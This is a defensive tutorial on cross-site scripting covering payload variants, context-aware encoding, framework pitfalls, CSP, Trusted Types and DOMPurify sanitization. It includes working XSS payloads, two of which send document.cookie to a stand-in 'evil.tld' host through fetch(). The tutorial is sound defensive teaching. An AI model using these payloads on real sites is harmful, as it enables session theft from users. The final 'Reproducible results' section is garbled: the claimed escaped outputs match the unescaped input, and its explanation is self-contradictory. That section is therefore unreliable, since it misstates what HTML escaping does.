The essence of XSS: data parsed as code
One root cause: untrusted data is parsed by the browser as executable code. Every defence draws a line between "data" and "code" that the browser cannot cross.
Three classes by where injection and execution happen:
| Type | Where data comes from | Where it fires | Reaches the server | Typical setting |
|---|---|---|---|---|
| Reflected | URL parameters / form posts | The server echoes it into HTML | Yes | Search results, error pages |
| Stored | Historical submissions in the database | Rendered when others load the page | Yes | Comments, display names, forum posts |
| DOM | URL fragment / postMessage / client APIs | Front-end JS writes it into the DOM | No | SPA routing, innerHTML rendering |
DOM XSS is the one most often missed: the payload never reaches the server, so it appears in no log, and WAF and server-side filters are useless. It can only be stopped in front-end code.
Payload equivalence classes: why blacklists lose
Each of these fires for real; the point is not memorising payloads but seeing that they are the same problem in different clothing:
<!-- 1. Classic script injection -->
<script>alert(document.cookie)</script>
<!-- 2. Event handler: no script tag required -->
<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">
<!-- 3. An obscure event containing none of the usual keywords -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- 4. Case variation plus HTML entities -->
<IMG SRC=x ONERROR=javascript:alert(1)>
<!-- 5. Whitespace inside a tag: browsers tolerate newlines and tabs -->
<img/src=x
onerror=alert(1)>
<!-- 6. JavaScript string context: not a single angle bracket -->
'; alert(1); //
Number 6 matters most: it survives HTML escaping because it attacks the JavaScript string context.
A blacklist fails not because it lacks rules but because it is a regex arguing with a parser. HTML error recovery permits case changes, unquoted attributes, whitespace inside tags, entity decoding, and a long list of equivalent elements; every added rule invites a new spelling. WAFs share the flaw and never see DOM payloads at all. The only scalable direction is an allowlist: permit explicitly safe tags and attributes, encode or strip everything else.
Encode by context
The output position decides the encoding, not the data source. The same string in different places needs entirely different handling:
| Output context | Dangerous characters | Correct encoding | Wrong approach |
|---|---|---|---|
HTML text node <div>DATA</div> |
< > & |
HTML entity encoding | Filtering <script> only |
HTML attribute <div title="DATA"> |
" ' & space |
Attribute encoding + quoted attribute | Emitting without quotes |
JavaScript string var a = 'DATA' |
' " \ newline |
\xNN hex escaping |
HTML escaping only |
URL parameter ?q=DATA |
Any non-alphanumeric | encodeURIComponent |
Hand-rolled replacement |
CSS value color: DATA |
( ) ; url |
CSS escaping + strict allowlist | Direct concatenation |
The most common mistake is treating HTML escaping as a universal cure:
// ❌ The data lands in a JS string context; HTML escaping cannot save it
const username = "'; alert(document.cookie); //"
element.innerHTML = `<div onclick="greet('${escapeHtml(username)}')">hi</div>`
// The string closes early and alert runs
Two correct fixes, the first preferred:
// ✅ Option 1: do not concatenate code; use DOM APIs and event binding
const div = document.createElement('div')
div.textContent = username // textContent never parses HTML
div.addEventListener('click', () => greet(username))
// ✅ Option 2: if you must inline, serialize data as JSON, never into an HTML attribute
<script type="application/json" id="boot">{"username":"<\/script>"}</script>
Option 1 is airtight because textContent writes a text node that the browser never re-parses as markup; string concatenation builds code inside code, and escaping is only a patch.
One hard rule for attributes: always quote the value. Without quotes, a single space appends a new attribute, and no amount of character filtering helps. Look up exact entities with the HTML entity encoder or the HTML entities cheat sheet; for URL contexts use the URL encoder/decoder and the URL encoding cheat sheet.
The real boundaries of frameworks
React's {value} and Vue's {{ value }} escape text by default, eliminating most XSS. The boundaries must stay explicit:
| Pattern | Safe? | Notes |
|---|---|---|
<div>{userInput}</div> |
✅ | Text node, auto-escaped |
<div title={userInput}> |
✅ | Attribute value handled by the framework |
<a href={userInput}> |
⚠️ | No protocol validation; javascript: survives |
dangerouslySetInnerHTML |
❌ | Same as innerHTML, zero escaping |
v-html="userInput" |
❌ | Same as innerHTML, zero escaping |
ref + innerHTML = x |
❌ | Bypasses the framework |
style={{ background: userInput }} |
⚠️ | CSS context; needs an allowlist |
| SSR string concatenation | ⚠️ | Escape </script> when serializing state |
The href trap is the subtlest; both frameworks escape without checking the protocol:
<a href={profile.website}>Personal site</a>
// profile.website = "javascript:fetch('//evil.tld?c='+document.cookie)"
Fix it with a protocol allowlist before rendering:
function safeUrl(raw) {
try {
const u = new URL(raw, window.location.origin)
return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
} catch { return '#' } // Any parse failure falls back to a safe value
}
Remember that frameworks escape only at the insertion point; they do not clean the data. The same dirty value returned through an API to a native app, exported to CSV, or dropped into an email template is still dangerous.
CSP: injected code cannot run
CSP does not prevent injection; it cuts the path from "injection succeeded" to "damage done" by restricting where scripts may come from.
Directives and nonces
| Directive | Controls | Suggested value |
|---|---|---|
default-src |
Fallback for all resources | 'self' |
script-src |
JavaScript | 'self' plus nonce/hash, never 'unsafe-inline' |
style-src |
CSS | 'self' plus nonce (CSS is injectable too) |
img-src |
Images | 'self' data: https: |
connect-src |
fetch / XHR / WebSocket | 'self' and explicit API origins |
frame-ancestors |
Who may iframe you | 'none' |
base-uri |
<base> element |
'none' (blocks relative-path hijacking) |
form-action |
Form targets | 'self' |
object-src |
Plugins | 'none' |
Inline scripts are the main obstacle to shipping CSP. Three ways out:
# Option 1: nonce — fresh random value per response; both sides must match (recommended)
Content-Security-Policy: script-src 'self' 'nonce-r@nd0mValue'
<script nonce="r@nd0mValue">initApp()</script>
# Option 2: hash — SHA-256 of the script body; any change invalidates it
Content-Security-Policy: script-src 'self' 'sha256-hashOfScriptContent='
// Option 3: move inline scripts to files — cleanest, but the most work
// <script src="/js/init.js" defer></script>
Two hard requirements for nonces: the value must be cryptographically random per response (otherwise it can be read once and reused), and never pair it with 'unsafe-inline' — browsers ignore the latter when a nonce is present, but declaring both signals a self-contradictory policy.
CSP also has failure conditions that deliver false confidence: a broad origin or JSONP endpoint in script-src lets an attacker borrow a trusted host; keeping 'unsafe-eval' reopens eval-style execution; omitting base-uri lets an attacker repoint relative script URLs.
Report-Only rollout
Enforcing immediately risks breaking production. Observe first:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Collect violations for a week or two, fix or explicitly allow each, then replace Report-Only with the real header. Header semantics are in the HTTP headers cheat sheet.
Trusted Types: turn "remember to sanitize" into a type constraint
Trusted Types changes dangerous DOM sinks (innerHTML, outerHTML, document.write, eval, srcdoc) from "accepts a string" to "accepts a special object only". Any write must pass through a registered policy:
// 1. Register the policy: the single sanitization chokepoint
trustedTypes.createPolicy('default', {
createHTML: input => DOMPurify.sanitize(input),
})
# 2. The server enforces it
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
Assignments that skip the policy now throw:
el.innerHTML = userInput // ❌ TypeError: This document requires 'TrustedHTML'
el.innerHTML = sanitizedOutput // ✅ An object produced by the policy
The value is making sanitization a runtime constraint instead of developer discipline: an omission fails loudly in development rather than shipping quietly. Chrome and Edge support it; Firefox and Safari do not yet. Paired with CSP, unsupported browsers fall back to ordinary CSP protection with no side effects.
Add one more layer at the cookie: set session cookies to HttpOnly + Secure + SameSite. It cannot stop XSS from sending requests as the user, but it keeps scripts from reading the session credential, downgrading "account theft" to "limited impersonation".
Rich text: sanitize, never escape
Markdown, comments, and WYSIWYG editors all need to keep some HTML. Escaping destroys the formatting, so the only path is allowlist sanitization:
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','br','strong','em','a','ul','ol','li','code','pre','blockquote','h2','h3'],
ALLOWED_ATTR: ['href','title','target','rel'],
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#)/i, // Kill javascript: and data:
})
// Add rel to external links to block reverse tabnabbing
document.querySelectorAll('.rich a[target=_blank]')
.forEach(a => a.rel = 'noopener noreferrer')
Key principle: sanitizing on write is optional; sanitizing before render is mandatory — the storage layer can be written by admin tools, imports, or migrations. Server-side equivalents: bleach / ammonia in Python, OWASP Java HTML Sanitizer in Java, HTMLPurifier in PHP.
Never parse HTML with your own regex: HTML is not a regular language, parser error recovery is enormously complex, and a homegrown sanitizer will almost certainly have bypasses. If you must validate a custom format, exercise edge cases in the regex tester first.
Reproducible results
"Escape per context" verified with the standard library:
import html
html.escape('<img src=x onerror=alert(1)>')
# → <img src=x onerror=alert(1)>
html.escape("O'Neill & Sons", quote=True)
# → O'Neill & Sons
The first line turns < into <, so the browser renders text, not a tag, and onerror never runs. The second shows why attribute contexts must also escape quotes (quote=True): an unescaped single quote breaks out of value='...'.